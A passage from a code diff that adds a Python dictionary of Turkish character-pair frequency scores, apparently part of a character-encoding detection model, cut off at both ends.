# 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 39: { # 'D' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 0, # 'ş' + }, + 29: { # 'E' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 52: { # 'F' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 1, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 2, # 'ş' + }, + 36: { # 'G' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 2, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 2, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 1, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 45: { # 'H' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 2, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 2, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 53: { # 'I' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 60: { # 'J' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 16: { # 'K' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 1, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 49: { # 'L' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 2, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 1, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 20: { # 'M' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 0, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 46: { # 'N' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 42: { # 'O' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 2, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 48: { # 'P' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 2, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 44: { # 'R' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, + 35: { # 'S' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 1, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 2, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 31: { # 'T' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 2, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 2, # 't' + 14: 2, # 'u' + 32: 1, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 51: { # 'U' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 1, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 1, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 1, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 38: { # 'V' + 23: 1, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 2, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 1, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 62: { # 'W' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 